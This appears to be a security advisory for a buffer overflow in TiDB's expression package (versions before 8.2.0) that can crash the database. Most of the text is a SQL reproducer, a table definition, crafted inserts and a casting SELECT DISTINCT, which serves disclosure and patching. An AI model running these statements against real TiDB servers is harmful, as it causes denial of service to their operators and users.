Buffer Overflow Affecting github.com/pingcap/tidb/pkg/expression package, versions <8.2.0

Affected versions of this package are vulnerable to Buffer Overflow due to not checking the return type, when planer calls RemoveUnnecessaryFirstRow. This could lead to database crashes and denial of service attacks.

create table t_ldpj7bp ( 
c_w_jr14qm2 int ,
c_t3nd927 int ,
c_ts int ,
c_s text ,
c_qchmg double ,
c_r int ,
c_olb3fsg6 text ,
c_zkbe tinyint ,
primary key(c_w_jr14qm2) NONCLUSTERED) shard_row_id_bits=8 pre_split_regions=5;

insert into t_ldpj7bp (c_w_jr14qm2, c_t3nd927, c_ts, c_s, c_qchmg, c_r, c_olb3fsg6, c_zkbe) values 
  (730552758, -682774206, 1698439632, 'lrvil359', 18446744073709551616.5, cast(cast(null as signed) as signed), 'oj1', (-1367510804 in (
    2123597870, 1485484027))), 
  (-1001332962, -1396443960, cast(cast(null as signed) as signed), 'e43lh', 15.54, -1568307927, 'i', (-1162033997 not in (
    -1850570375, -781179836, -1281662147, -431391092, cast(null as signed)))), 
  (-727295464, 1998529670, -1873237194, 'lps56o', 70.81, 1380690610, cast(null as char), ((NOT NOT(cast( (cast(cast(null as signed) as signed) && cast(2536017375093623800 as signed)) as unsigned)))) 
    and ((NOT NOT(cast( (cast(2051320819 as signed) <=> cast(-8632453786780487783 as signed)) as unsigned))))), 
  (2133408768, 736339957, -1486317339, 'f', 62.97, -1444096406, 'tj', (NOT NOT(cast( (cast(cast(null as char) as char) = cast(cast(null as char) as char)) as unsigned))));

SELECT DISTINCT
  cast(ref_4.c_w_jr14qm2 as signed) as c6,
  cast(ref_4.c_w_jr14qm2 as decimal) as c8
FROM
  t_ldpj7bp as ref_4;

• GitHub Commit
• GitHub Gist
• GitHub Issue